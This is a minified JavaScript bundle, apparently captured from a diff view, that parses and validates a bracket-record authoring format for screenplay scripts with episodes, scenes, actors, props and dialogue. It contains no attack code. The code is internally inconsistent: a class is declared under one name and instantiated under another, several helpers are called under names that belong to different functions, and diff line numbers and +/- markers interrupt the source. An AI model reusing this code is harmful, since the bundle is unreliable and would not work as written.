p=(i.get(a)?.scenes.length??0)>0;o.push({code:p?"authoring_episode_cleared":"authoring_empty_episode",path:`$.episodes[${a}]`,message:p?`authoring replaced episode ${a} with an empty scene list`:`authored episode ${a} has no scenes`})}for(let a of n.fullSceneIds){let d=c.get(a);if(d===void 0)continue;let p=`$.episodes[${d.episodeId}].scenes[${a}]`;if(d.scene.actions.length===0){let l=(r.get(a)?.actions.length??0)>0;o.push({code:l?"authoring_scene_cleared":"authoring_empty_scene",path:p,message:l?`authoring replaced scene ${a} with an empty body`:`authored scene ${a} has an empty body`})}d.scene.actions.forEach((l,f)=>{l.content.trim()===""&&o.push({code:"authoring_empty_action_content",path:`${p}.actions[${f}]`,message:"authored action content is empty"})})}for(let a of n.actionSpans)a.actions.forEach((d,p)=>{d.content.trim()===""&&o.push({code:"authoring_empty_action_content",path:`${a.parent}#replacement[${p}]`,message:"authored action-span replacement contains an action with empty content"})});return o}function ef(e,t,n){let o=wt(t),i=fE(n),r=()=>({...o,warnings:[...o.warnings,...mE(e,t,i)]});if(o.ok||e!==null&&xo(e,t))return r();let s=new Set(e===null?[]:wt(e).errors.map(a=>Xu(a,e))),c=o.errors.filter(a=>{if(!s.has(Xu(a,t)))return!0;let d=/^\$\.episodes\[(\d+)]/.exec(a.path);if(!d)return!1;let p=t.episodes[Number(d[1])];if(p===void 0||i.episodeIds.has(p.episode_id))return!0;let l=/^\$\.episodes\[\d+]\.scenes\[(\d+)]/.exec(a.path),f=l===null?void 0:p.scenes[Number(l[1])];return f!==void 0&&i.sceneIds.has(f.scene_id)});return c.length>0&&F("AUTHORING_VALIDATION_FAILED","The proposed script has blocking validation errors.",c.map(a=>`${a.path}: ${a.code} ${a.message}`),["Repair the authoring source and rerun the plan."]),r()}function tf(e){let t=new Set;for(let n of e.episodes)for(let o of n.scenes){o.location!==null&&t.add(o.location.location_id);for(let i of o.actors)t.add(i.actor_id);for(let i of o.props)t.add(i.prop_id)}return[...e.actors.map(n=>n.actor_id),...e.locations.map(n=>n.location_id),...e.props.map(n=>n.prop_id)].filter(n=>!t.has(n))}function gE(e){let t=e.targets[0];t?.kind!=="script"&&F("AUTHORING_TARGET_MODE","Script create requires exactly one script target.",[],["Use a single <script> block."],B);for(let i of t.episodes)sd(i,t.source);let n={version:3,title:t.title,worldview:t.worldview,style:t.style,actors:[],locations:[],props:[],episodes:structuredClone(t.episodes)};t.worldviewRaw!==void 0&&(n.worldview_raw=t.worldviewRaw),t.synopsis!==void 0&&(n.synopsis=t.synopsis),t.logline!==void 0&&(n.logline=t.logline),t.theme!==void 0&&(n.theme=t.theme),t.mainCharacters!==void 0&&(n.main_characters=structuredClone(t.mainCharacters)),t.extend!==void 0&&(n.extend=structuredClone(t.extend));let o=of(n,e.declarations);return sf(n),{script:n,declarations:o}}function af(e,t,n){if(t.targetKind==="script"){n!=="create"&&F("AUTHORING_TARGET_MODE","Script targets support create only.",[n],["Use --create."],B);let a=gE(t),d=a.script;e!==null&&!xo(e,d)&&F("AUTHORING_CREATE_CONFLICT","The script target already exists with different content.",["script"],["Use episode replacement for an existing script, or write an identical script for a no-op retry."]);let p=e===null?a.declarations:{createdAssets:[],existingAssets:[...a.declarations.existingAssets,...a.declarations.createdAssets],createdStates:[],existingStates:[...a.declarations.existingStates,...a.declarations.createdStates]},l=ef(e,d,t.targets);return{script:d,changed:e===null||!xo(e,d),declarations:p,targets:[{kind:"script",address:"global",before:e===null?{episodes:0,scenes:0,actions:0}:Fs(e.episodes),after:Fs(d.episodes),...Tr(e?.episodes.map(f=>f.episode_id)??[],d.episodes.map(f=>f.episode_id)),untouchedSiblings:0}],retainedOrphanAssets:tf(d),validation:l}}e===null&&F("AUTHORING_SCRIPT_NOT_FOUND","A local Script v3 file is required for this target kind.",["<missing>"],["Create a script first or select an existing --script-path."]),(t.targetKind==="episode-span"||t.targetKind==="scene-span"||t.targetKind==="action-span")&&n!=="replace"&&F("AUTHORING_TARGET_MODE",`${t.targetKind} supports replace only.`,[n],["Use --replace."],B);let o=structuredClone(e),i=structuredClone(e),r=of(i,t.declarations),s;switch(t.targetKind){case"episode":{let a=t.targets.flatMap(d=>d.kind==="episode"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=aE(o,i,a,n);break}case"scene":{let a=t.targets.flatMap(d=>d.kind==="scene"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=cE(o,i,a,n);break}case"episode-span":{let a=t.targets.flatMap(d=>d.kind==="episode-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=dE(o,i,a);break}case"scene-span":{let a=t.targets.flatMap(d=>d.kind==="scene-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=pE(o,i,a);break}case"action-span":{let a=t.targets.flatMap(d=>d.kind==="action-span"?[d]:[]);a.length!==t.targets.length&&F("AUTHORING_TARGET_MODE","Authoring targets are not homogeneous.",[],["Keep one target kind per file."],B),s=lE(o,i,a);break}default:F("AUTHORING_TARGET_MODE","Unsupported authoring target.",[t.targetKind],["Use a supported homogeneous target kind."])}sf(i);let c=ef(e,i,t.targets);return{script:i,changed:!xo(e,i),declarations:r,targets:s,retainedOrphanAssets:tf(i),validation:c}}function $(e,t,n,o){return new S(e,{exitCode:b,errorCode:"AUTHORING_SOURCE_INVALID",hint:o,data:{actual:[`line ${t.line}, column ${t.column}: ${n}`]}})}function ad(e,t,n){let o="";for(let i=0;i<e.length;i+=1){let r=e[i];if(r!=="\\"){o+=r;continue}let s=e[i+1];if(s===void 0)throw $("Trailing escape is invalid.",{line:t.line,column:t.column+i},e,"Escape a supported character or remove the trailing backslash.");if(s==="\\"||s==="n"||n&&(s==="|"||s==="]")){o+=s==="n"?`
129
+ `:s,i+=1;continue}throw $("Unknown escape sequence.",{line:t.line,column:t.column+i},`\\${s}`,n?"Use only \\|, \\], \\\\, or \\n in a header.":"Use only \\\\ or \\n in record content.")}return o}function Ji(e,t){let n={line:t,column:Math.max(1,e.indexOf("[")+1)},o=e.trimStart();if(!o.startsWith("["))throw $("Expected a bracket record.",n,e,"Start the semantic line with a known [type] record.");let i=-1,r=!1;for(let y=1;y<o.length;y+=1){let m=o[y];if(r){r=!1;continue}if(m==="\\"){r=!0;continue}if(m==="]"){i=y;break}}if(i<0)throw $("Bracket record is not closed.",n,e,"Add the closing ].");let s=o.slice(1,i),c=[],a="";r=!1;for(let y=0;y<s.length;y+=1){let m=s[y];r?(a+=`\\${m}`,r=!1):m==="\\"?r=!0:m==="|"?(c.push(a),a=""):a+=m}r&&(a+="\\"),c.push(a);let[d,...p]=c,l=ad(d??"",n,!0);if(!l)throw $("Record type is empty.",n,e,"Use a known record type.");let f=o.slice(i+1),u=f.startsWith(" ")?f.slice(1):f;return{type:l,slots:p.map(y=>ad(y,n,!0)),content:ad(u,{line:t,column:i+2},!1),source:n}}function Et(){return{extend:{},extendPresent:!1,aliases:[],aliasesPresent:!1,phase:"extend"}}function jn(e){return e.extendPresent||e.aliasesPresent||e.prompt!==void 0}function xt(e){return e.extendPresent?e.extend:void 0}function cd(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(cd):typeof e!="object"?!1:Object.values(e).every(cd)}function dd(e){if(Array.isArray(e))return e.map(dd);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=dd(e[n]);return t}return e}function cf(e){return e==="featured"||e==="background"}function hE(e){return e==="\u4E3B\u89D2"||e==="\u914D\u89D2"}function yE(e){return e==="system"||e==="broadcast"||e==="offscreen"||e==="group"}function wE(e){return e==="actor"||e==="location"||e==="prop"}function df(e,t,n,o){if(!/^\d+$/.test(e))throw $(`${n} must be an integer.`,t,e||"<empty>",`Use ${o?"a non-negative":"a positive"} integer.`);let i=Number(e);if(!Number.isSafeInteger(i)||(o?i<0:i<1))throw $(`${n} is out of range.`,t,e,`Use ${o?"a non-negative":"a positive"} safe integer.`);return i}function _E(e,t){let n=e.trim();if(!n.startsWith("<"))return null;let o={line:t,column:e.indexOf("<")+1},i=/^<\/([a-z-]+)>$/.exec(n);if(i)return{name:i[1],closing:!0,attrs:new Map,source:o};let r=/^<([a-z-]+)(?: ([^>]+))?>$/.exec(n);if(!r)throw $("Block tag syntax is invalid.",o,e,"Use <name key=value> or </name> on its own line.");let s=new Map,c=r[2]??"";if(c)for(let a of c.split(" ")){if(!a)throw $("Block attributes must use one space separators.",o,e,"Use canonical key=value attributes separated by one space.");let d=/^([a-z]+)=([A-Za-z0-9_./#:-]+)$/.exec(a);if(!d)throw $("Block attribute syntax is invalid.",o,a,"Use unquoted canonical key=value attributes.");if(s.has(d[1]))throw $("Block attribute is duplicated.",o,d[1],"Keep exactly one value for each attribute.");s.set(d[1],d[2])}return{name:r[1],closing:!1,attrs:s,source:o}}function Sn(e,t,n=[]){let o=new Set([...t,...n]),i=[...e.attrs.keys()].filter(s=>!o.has(s)),r=t.filter(s=>!e.attrs.has(s));if(i.length>0||r.length>0)throw $(`Attributes for <${e.name}> are invalid.`,e.source,`missing=${r.join(",")||"-"} unknown=${i.join(",")||"-"}`,`Use ${[...t,...n].map(s=>`${s}=...`).join(" ")}.`)}function EE(e,t){if(!e)throw $("Speaker is required.",t,"<empty>","Use act_ID[/state_ID] or system|broadcast|offscreen|group[:label].");let n=e.indexOf("/"),o=n>=0?e.slice(0,n):e;if(/^act_[A-Za-z0-9_-]+$/.test(o)){if(n<0)return{actor_id:o};let s=e.slice(n+1);if(!s||s.includes("/"))throw $("Actor speaker state is invalid.",t,e,"Use act_ID/state_ID.");return{actor_id:o,state_id:s}}let i=e.indexOf(":"),r=i>=0?e.slice(0,i):e;if(!Yo.has(r)||!yE(r))throw $("Speaker kind is invalid.",t,e,"Use an actor ID or system, broadcast, offscreen, or group.");return i<0?{kind:r}:{kind:r,label:e.slice(i+1)}}function xE(e,t){let o={act:"action",dlg:"dialogue",think:"inner_thought",trans:"transition"}[e.type];if(o===void 0||!qt.has(o))throw $("Body record type is invalid.",e.source,e.type,"Use [act], [dlg], [think], or [trans].");let i={type:o,content:e.content};if(o==="dialogue"||o==="inner_thought"){if(e.slots.length<1||e.slots.length>2)throw $("Speaker record slots are invalid.",e.source,e.slots.join("|"),`Use [${e.type}|speaker|emotion?].`);i.speaker=EE(e.slots[0],e.source),e.slots.length===2&&(i.emotion=e.slots[1])}else{if(e.slots.length>1)throw $("Body record slots are invalid.",e.source,e.slots.join("|"),`Use [${e.type}|emotion?].`);e.slots.length===1&&(i.emotion=e.slots[0])}let r=xt(t);if(r!==void 0&&(i.extend=r),t.aliasesPresent)throw $("Alias cannot modify an action.",t.source??e.source,t.aliases.join(","),"Use [alias] only before an asset declaration.");return t.prompt!==void 0&&(i.transition_prompt=t.prompt),i}var pd=class{lines;index=0;constructor(t){this.lines=t.replace(/\r\n?/g,`
130
130
  `).split(`
131
- `)}parse(){this.skipBlank();let t=this.takeOpen("authoring");if(Sn(t,["version"]),t.attrs.get("version")!=="1")throw $("Authoring version is unsupported.",t.source,t.attrs.get("version")??"<missing>","Use <authoring version=1>.");let n=[],o=[],i=!1,r=Et();for(;;){if(this.skipBlank(),this.peekClose("authoring")){zn(r)&&this.throwDangling(r),this.takeClose("authoring");break}let a=this.peekSemantic();if(a===null)throw this.eofError("authoring");if(a.record?.type==="extensions"||a.record?.type==="extend"){r=this.addModifier(r,this.takeRecord());continue}if(a.tag?.name==="create"&&!a.tag.closing){if(i)throw $("<create> must precede every target.",a.tag.source,"<create>","Move the single <create> block before the targets.");zn(r)&&this.throwUnsupportedModifiers(r,"create"),n.push(...this.parseCreate()),i=!0;continue}i=!0,o.push(this.parseTarget(r)),r=Et()}if(this.skipBlank(),this.index<this.lines.length){let a={line:this.index+1,column:1};throw $("Content exists after </authoring>.",a,this.lines[this.index],"Remove content outside the root block.")}if(o.length===0)throw $("Authoring file has no target.",t.source,"<authoring>","Add one or more homogeneous target blocks.");let s=o[0].kind,c=o.find(a=>a.kind!==s);if(c!==void 0)throw $("Authoring targets are not homogeneous.",c.source,c.kind,`Keep only ${s} targets in this file.`);if(s==="script"&&o.length!==1)throw $("A script authoring file has exactly one target.",o[1].source,"second <script>","Keep one <script> target.");return{version:1,declarations:n,targets:o,targetKind:s}}parseCreate(){let t=this.takeOpen("create");Sn(t,[]);let n=[],o=Et();for(;;){if(this.skipBlank(),this.peekClose("create"))return zn(o)&&this.throwDangling(o),this.takeClose("create"),n;let i=this.takeRecord();if(i.type==="extensions"||i.type==="extend"||i.type==="aliases"||i.type==="alias"||i.type==="prompt"){o=this.addModifier(o,i);continue}if(i.type==="actor"){if(i.slots.length<3||i.slots.length>4)throw $("Actor declaration slots are invalid.",i.source,i.slots.join("|"),"Use [actor|id|name|importance|role?] description.");let[r,s,c,a]=i.slots;if(!r||!s||!c||!Pt.has(c)||!df(c))throw $("Actor declaration is invalid.",i.source,i.slots.join("|"),"Provide id, name, and featured|background importance.");if(a!==void 0&&(!mo.has(a)||!yE(a)))throw $("Actor role is invalid.",i.source,a,"Use \u4E3B\u89D2 or \u914D\u89D2, or omit the slot.");let d={actor_id:r,actor_name:s,importance:c,description:i.content,states:[]};a!==void 0&&(d.role_type=a),o.aliasesPresent&&(d.aliases=[...o.aliases]);let p=xt(o);p!==void 0&&(d.extend=p),o.prompt!==void 0&&this.throwUnsupportedModifiers(o,"actor"),n.push({declarationKind:"actor",value:d,source:i.source}),o=Et();continue}if(i.type==="location"||i.type==="prop"){if(i.slots.length!==3)throw $(`${i.type} declaration slots are invalid.`,i.source,i.slots.join("|"),`Use [${i.type}|id|name|importance] description.`);let[r,s,c]=i.slots;if(!r||!s||!c||!Pt.has(c)||!df(c))throw $(`${i.type} declaration is invalid.`,i.source,i.slots.join("|"),"Provide id, name, and featured|background importance.");o.prompt!==void 0&&this.throwUnsupportedModifiers(o,i.type);let a=xt(o);if(i.type==="location"){let d={location_id:r,location_name:s,importance:c,description:i.content,states:[]};o.aliasesPresent&&(d.aliases=[...o.aliases]),a!==void 0&&(d.extend=a),n.push({declarationKind:"location",value:d,source:i.source})}else{let d={prop_id:r,prop_name:s,importance:c,description:i.content,states:[]};o.aliasesPresent&&(d.aliases=[...o.aliases]),a!==void 0&&(d.extend=a),n.push({declarationKind:"prop",value:d,source:i.source})}o=Et();continue}if(i.type==="state"){if(i.slots.length!==3)throw $("State declaration slots are invalid.",i.source,i.slots.join("|"),"Use [state|kind:asset_id|state_id|state_name] description.");(o.aliasesPresent||o.prompt!==void 0)&&this.throwUnsupportedModifiers(o,"state");let[r,s,c]=i.slots,a=/^(actor|location|prop):(.+)$/.exec(r??""),d=a?.[1]??"";if(!a||!_E(d)||!s||!c)throw $("State declaration is invalid.",i.source,i.slots.join("|"),"Use a typed owner and non-empty state ID/name.");let p={state_id:s,state_name:c,description:i.content},l=xt(o);l!==void 0&&(p.extend=l),n.push({declarationKind:"state",ownerKind:d,ownerId:a[2],value:p,source:i.source}),o=Et();continue}throw $("Record is not allowed in <create>.",i.source,i.type,"Use actor, location, prop, state, or a supported prefix modifier.")}}parseTarget(t){let n=this.peekTag();if(n===null||n.closing){let o=n?.source??{line:this.index+1,column:1};throw $("Expected a target block.",o,this.lines[this.index]??"<eof>","Add a supported target block.")}switch((t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,n.name),n.name){case"script":return this.parseScript(t);case"episode":return{kind:"episode",value:this.parseEpisode(t),source:n.source,...xt(t)?{extend:xt(t)}:{}};case"episode-span":return this.parseEpisodeSpan(t);case"scene":return Sn(n,["id","parent"]),{kind:"scene",parent:n.attrs.get("parent"),value:this.parseScene(t,!0),source:n.source,...xt(t)?{extend:xt(t)}:{}};case"scene-span":return this.parseSceneSpan(t);case"action-span":return this.parseActionSpan(t);default:throw $("Unknown target block.",n.source,n.name,"Use script, episode, episode-span, scene, scene-span, or action-span.")}}parseScript(t){let n=this.takeOpen("script");Sn(n,[]);let o=["title","worldview","worldview-raw","style","synopsis","logline","theme","main-characters","main-character"],i=new Map,r=[],s=[],c=-1,a=!1,d=Et();for(;;){if(this.skipBlank(),this.peekClose("script")){zn(d)&&this.throwDangling(d),this.takeClose("script");break}let y=this.peekSemantic();if(y?.record!==void 0){let m=this.takeRecord();if(m.type==="extensions"||m.type==="extend"||m.type==="aliases"||m.type==="alias"||m.type==="prompt"){d=this.addModifier(d,m);continue}zn(d)&&this.throwUnsupportedModifiers(d,m.type);let g=o.indexOf(m.type),w=m.type==="main-character";if(a||g<0||g<c||!w&&i.has(m.type))throw $("Metadata record in <script> is invalid or out of order.",m.source,m.type,`Use ${o.join(", ")} in canonical order before episode blocks.`);if(c=g,m.type==="main-characters"){if(m.slots.length!==0||m.content!=="")throw $("Main characters marker is invalid.",m.source,m.content,"Use [main-characters] with no slots or content.");i.set(m.type,"")}else if(w){if(m.slots.length!==2||!m.slots[0]||!m.slots[1]||m.content!=="")throw $("Main character record is invalid.",m.source,m.slots.join("|"),"Use [main-character|name|role] with no content.");r.push({name:m.slots[0],role:m.slots[1]})}else{if(m.slots.length!==0)throw $("Script metadata record has unexpected slots.",m.source,m.slots.join("|"),`Use [${m.type}] content.`);i.set(m.type,m.content)}continue}if(y?.tag===void 0||y.tag.closing||y.tag.name!=="episode"){let m=y?.tag?.source??{line:this.index+1,column:1};throw $("Unexpected member in <script>.",m,this.lines[this.index]??"<eof>","Use metadata records followed by <episode> blocks.")}a=!0,s.push(this.parseEpisode(d)),d=Et()}let p=this.requiredMetadata(i,"title",n.source),l=this.requiredMetadata(i,"worldview",n.source),f=this.requiredMetadata(i,"style",n.source),u=xt(t);return{kind:"script",title:p,worldview:l,style:f,...i.get("worldview-raw")!==void 0?{worldviewRaw:i.get("worldview-raw")}:{},...i.get("synopsis")!==void 0?{synopsis:i.get("synopsis")}:{},...i.get("logline")!==void 0?{logline:i.get("logline")}:{},...i.get("theme")!==void 0?{theme:i.get("theme")}:{},...i.has("main-characters")||r.length>0?{mainCharacters:r}:{},episodes:s,source:n.source,...u!==void 0?{extend:u}:{}}}parseEpisode(t){let n=this.takeOpen("episode");Sn(n,["id"]),(t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,"episode");let o=this.parseMetadataAndChildren("episode",["title","synopsis"],"scene",s=>this.parseScene(s,!1)),i={episode_id:n.attrs.get("id"),scenes:o.children};o.values.has("title")&&(i.title=o.values.get("title")),o.values.has("synopsis")&&(i.synopsis=o.values.get("synopsis"));let r=xt(t);return r!==void 0&&(i.extend=r),i}parseScene(t,n){let o=this.takeOpen("scene");Sn(o,n?["id","parent"]:["id"]),(t.aliasesPresent||t.prompt!==void 0)&&this.throwUnsupportedModifiers(t,"scene");let i,r,s=[],c=[],a="environment",d;for(;;){if(this.skipBlank(),this.peekClose("scene")){this.takeClose("scene");break}let f=this.peekSemantic();if(f?.tag?.name==="body"&&!f.tag.closing){if(a==="body")throw $("Scene has more than one body.",f.tag.source,"<body>","Keep exactly one <body>.");a="body",d=this.parseBody();continue}if(f?.record===void 0){let y=f?.tag?.source??{line:this.index+1,column:1};throw $("Only scene records and <body> are allowed here.",y,this.lines[this.index]??"<eof>","Use environment, location, cast, prop, then body.")}let u=this.takeRecord();if(u.type==="extensions"||u.type==="extend"||u.type==="aliases"||u.type==="alias"||u.type==="prompt")throw $("Scene prefix modifier must directly precede <scene>.",u.source,u.type,"Move the modifier before the <scene> opening tag.");if(u.type==="environment"){if(a!=="environment"||i!==void 0||u.slots.length>2)throw $("Environment record is out of order or invalid.",u.source,u.slots.join("|"),"Place at most one [environment|space?|time?] first.");i={},u.slots.length>=1&&u.slots[0]!==""&&(i.space=u.slots[0]),u.slots.length>=2&&u.slots[1]!==""&&(i.time=u.slots[1]);continue}if(u.type==="location"){if(a==="cast"||a==="prop"||a==="body"||r!==void 0||u.slots.length>2)throw $("Location record is out of order or invalid.",u.source,u.slots.join("|"),"Place exactly one [location|id?|state?] before cast.");a="location";let y=u.slots[0];y===void 0||y===""?r=null:r=u.slots.length===2?{location_id:y,state_id:u.slots[1]}:{location_id:y};continue}if(u.type==="cast"){if(r===void 0||a==="prop"||a==="body"||u.slots.length<1||u.slots.length>2||!u.slots[0])throw $("Cast record is out of order or invalid.",u.source,u.slots.join("|"),"Place [cast|actor_id|state_id?] after location and before props.");a="cast",s.push(u.slots.length===2?{actor_id:u.slots[0],state_id:u.slots[1]}:{actor_id:u.slots[0]});continue}if(u.type==="prop"){if(r===void 0||a==="body"||u.slots.length<1||u.slots.length>2||!u.slots[0])throw $("Prop record is out of order or invalid.",u.source,u.slots.join("|"),"Place [prop|prop_id|state_id?] after cast and before body.");a="prop",c.push(u.slots.length===2?{prop_id:u.slots[0],state_id:u.slots[1]}:{prop_id:u.slots[0]});continue}throw $("Record is not allowed in a scene header.",u.source,u.type,"Use environment, location, cast, prop, or body records.")}if(r===void 0)throw $("Scene location record is missing.",o.source,`<scene id=${o.attrs.get("id")}>`,"Add [location] or [location|loc_ID|state_ID].");if(d===void 0)throw $("Scene body is missing.",o.source,`<scene id=${o.attrs.get("id")}>`,"Add one <body> block.");let p={scene_id:o.attrs.get("id"),location:r,actors:s,props:c,actions:d};i!==void 0&&(p.environment=i);let l=xt(t);return l!==void 0&&(p.extend=l),p}parseBody(){let t=this.takeOpen("body");Sn(t,[]);let n=[],o=Et();for(;;){if(this.skipBlank(),this.peekClose("body"))return zn(o)&&this.throwDangling(o),this.takeClose("body"),n;let i=this.takeRecord();if(i.type==="extensions"||i.type==="extend"||i.type==="aliases"||i.type==="prompt"||i.type==="alias"){o=this.addModifier(o,i);continue}n.push(SE(i,o)),o=Et()}}parseEpisodeSpan(t){let n=this.takeOpen("episode-span");Sn(n,["from","through"]);let o=this.parseOnlyChildren("episode-span","episode",r=>this.parseEpisode(r)),i=xt(t);return{kind:"episode-span",from:n.attrs.get("from"),through:n.attrs.get("through"),episodes:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseSceneSpan(t){let n=this.takeOpen("scene-span");Sn(n,["parent","from","through"]);let o=this.parseOnlyChildren("scene-span","scene",r=>this.parseScene(r,!1)),i=xt(t);return{kind:"scene-span",parent:n.attrs.get("parent"),from:n.attrs.get("from"),through:n.attrs.get("through"),scenes:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseActionSpan(t){let n=this.takeOpen("action-span");Sn(n,["parent","from","through"]),this.skipBlank();let o=this.parseBody();this.skipBlank(),this.takeClose("action-span");let i=xt(t);return{kind:"action-span",parent:n.attrs.get("parent"),from:pf(n.attrs.get("from"),n.source,"action-span from",!0),through:pf(n.attrs.get("through"),n.source,"action-span through",!0),actions:o,source:n.source,...i!==void 0?{extend:i}:{}}}parseMetadataAndChildren(t,n,o,i){let r=new Map,s=[],c=-1,a=!1,d=Et();for(;;){if(this.skipBlank(),this.peekClose(t))return zn(d)&&this.throwDangling(d),this.takeClose(t),{values:r,children:s};let p=this.peekSemantic();if(p?.record!==void 0){let f=this.takeRecord();if(f.type==="extensions"||f.type==="extend"||f.type==="aliases"||f.type==="alias"||f.type==="prompt"){d=this.addModifier(d,f);continue}zn(d)&&this.throwUnsupportedModifiers(d,f.type);let u=n.indexOf(f.type);if(a||u<0||u<c||r.has(f.type)||f.slots.length!==0)throw $(`Metadata record in <${t}> is invalid or out of order.`,f.source,f.type,`Use each of ${n.join(", ")} at most once in canonical order before child blocks.`);c=u,r.set(f.type,f.content);continue}let l=p?.tag;if(l===void 0||l.closing||l.name!==o){let f=l?.source??{line:this.index+1,column:1};throw $(`Unexpected member in <${t}>.`,f,this.lines[this.index]??"<eof>",`Use metadata records followed by <${o}> blocks.`)}a=!0,s.push(i(d)),d=Et()}}parseOnlyChildren(t,n,o){let i=[],r=Et();for(;;){if(this.skipBlank(),this.peekClose(t))return zn(r)&&this.throwDangling(r),this.takeClose(t),i;let s=this.peekSemantic();if(s?.record?.type==="extensions"||s?.record?.type==="extend"){r=this.addModifier(r,this.takeRecord());continue}if(s?.tag===void 0||s.tag.closing||s.tag.name!==n){let c=s?.tag?.source??s?.record?.source??{line:this.index+1,column:1};throw $(`Only <${n}> children are allowed in <${t}>.`,c,this.lines[this.index]??"<eof>",`Add complete <${n}> blocks.`)}i.push(o(r)),r=Et()}}addModifier(t,n){let o={extend:{...t.extend},extendPresent:t.extendPresent,aliases:[...t.aliases],aliasesPresent:t.aliasesPresent,phase:t.phase,...t.prompt!==void 0?{prompt:t.prompt}:{},source:t.source??n.source};if(n.type==="extensions"){if(o.phase!=="extend"||o.extendPresent||n.slots.length!==0||n.content!=="")throw $("Extensions marker is invalid or out of order.",n.source,n.content||"<empty>","Use one [extensions] marker before extension records.");return o.extendPresent=!0,o}if(n.type==="extend"){if(o.phase!=="extend"||n.slots.length!==1||!n.slots[0])throw $("Extend modifier is invalid or out of order.",n.source,n.slots.join("|"),"Place unique [extend|key] records first.");let i=n.slots[0];if(Object.hasOwn(o.extend,i))throw $("Extend key is duplicated.",n.source,i,"Keep one value for each extension key.");let r;try{r=JSON.parse(n.content)}catch{throw $("Extension value is not valid JSON.",n.source,n.content,"Use one canonical JSON value.")}if(!dd(r))throw $("Extension value is not JSON-compatible.",n.source,n.content,"Use string, number, boolean, null, array, or object.");return o.extendPresent=!0,o.extend[i]=pd(r),o}if(n.type==="aliases"){if(o.phase!=="extend"||o.aliasesPresent||n.slots.length!==0||n.content!=="")throw $("Aliases marker is invalid or out of order.",n.source,n.content||"<empty>","Use one [aliases] marker after extensions and before alias records.");return o.phase="alias",o.aliasesPresent=!0,o}if(n.type==="alias"){if(o.phase==="prompt"||n.slots.length!==0||!n.content)throw $("Alias modifier is invalid or out of order.",n.source,n.content||"<empty>","Place non-empty [alias] records after extensions and before prompt.");if(o.phase="alias",o.aliasesPresent=!0,o.aliases.includes(n.content))throw $("Alias is duplicated.",n.source,n.content,"Keep each alias once.");return o.aliases.push(n.content),o}if(n.type==="prompt"){if(o.prompt!==void 0||n.slots.length!==3||n.slots.some(i=>!i))throw $("Prompt modifier is invalid.",n.source,n.slots.join("|"),"Use one [prompt|target|process|contrast] after extensions and aliases.");if(!/^(?:actor:act_|location:loc_|prop:prp_)[A-Za-z0-9_-]+$/.test(n.slots[0]))throw $("Prompt target is invalid.",n.source,n.slots[0],"Use actor:act_ID, location:loc_ID, or prop:prp_ID.");return o.phase="prompt",o.prompt={target:n.slots[0],process:n.slots[1],contrast:n.slots[2]},o}throw $("Unknown prefix modifier.",n.source,n.type,"Use extend, alias, or prompt.")}requiredMetadata(t,n,o){let i=t.get(n);if(i===void 0)throw $(`Script ${n} record is missing.`,o,"<script>",`Add [${n}] in canonical metadata order.`);return i}peekSemantic(){if(this.skipBlank(),this.index>=this.lines.length)return null;let t=this.lines[this.index],n=EE(t,this.index+1);if(n!==null)return{tag:n};if(t.trimStart().startsWith("["))return{record:Ki(t,this.index+1)};let o={line:this.index+1,column:Math.max(1,t.search(/\S/)+1)};throw $("Semantic line is neither a tag nor a bracket record.",o,t,"Use only known tags, bracket records, or blank lines.")}peekTag(){return this.peekSemantic()?.tag??null}takeRecord(){let t=this.peekSemantic();if(t?.record===void 0){let n=t?.tag?.source??{line:this.index+1,column:1};throw $("Expected a bracket record.",n,this.lines[this.index]??"<eof>","Use the record required at this position.")}return this.index+=1,t.record}takeOpen(t){let n=this.peekTag();if(n===null||n.closing||n.name!==t){let o=n?.source??{line:this.index+1,column:1};throw $(`Expected <${t}>.`,o,this.lines[this.index]??"<eof>",`Open <${t}> here.`)}return this.index+=1,n}takeClose(t){let n=this.peekTag();if(n===null||!n.closing||n.name!==t){let o=n?.source??{line:this.index+1,column:1};throw $(`Expected </${t}>.`,o,this.lines[this.index]??"<eof>",`Close the current <${t}> block.`)}return this.index+=1,n}peekClose(t){let n=this.peekTag();return n!==null&&n.closing&&n.name===t}skipBlank(){for(;this.index<this.lines.length&&this.lines[this.index].trim()==="";)this.index+=1}eofError(t){return $(`Unexpected end of file inside <${t}>.`,{line:this.lines.length,column:1},"<eof>",`Add </${t}>.`)}throwDangling(t){throw $("Prefix modifier has no following node.",t.source??{line:this.index+1,column:1},"dangling modifier","Move it directly before a supported node.")}throwUnsupportedModifiers(t,n){throw $("Prefix modifier does not apply to this node.",t.source??{line:this.index+1,column:1},n,"Remove the unsupported modifier or move it before a supported node.")}};function lf(e){return new ld(e).parse()}function L(e,t,n){throw new S(e,{exitCode:b,errorCode:"AUTHORING_SOURCE_INVALID",data:{actual:[`line ${t}: ${n}`]}})}function gd(e,t){let n=e.trim(),o=/^<\/([a-z-]+)>$/.exec(n);if(o)return{name:o[1],closing:!0,attrs:new Map,line:t};let i=/^<([a-z-]+)(?: ([^>]+))?>$/.exec(n);if(!i)return null;let r=new Map,s=i[2]??"",c=s===""?[]:s.split(" ");c.some(a=>a==="")&&L("Tag attributes need one-space separators.",t,n);for(let a of c){let d=/^([a-z]+)=([A-Za-z0-9_./#:-]+)$/.exec(a);(!d||r.has(d[1]))&&L("Tag attributes are invalid.",t,a),r.set(d[1],d[2])}return{name:i[1],closing:!1,attrs:r,line:t}}function De(e,t,n=[]){let o=new Set([...t,...n]),i=[...e.attrs.keys()].filter(s=>!o.has(s)),r=t.filter(s=>!e.attrs.has(s));(i.length>0||r.length>0)&&L("Tag attributes do not match the canonical grammar.",e.line,[...r.map(s=>`missing:${s}`),...i.map(s=>`unknown:${s}`)].join(","))}var 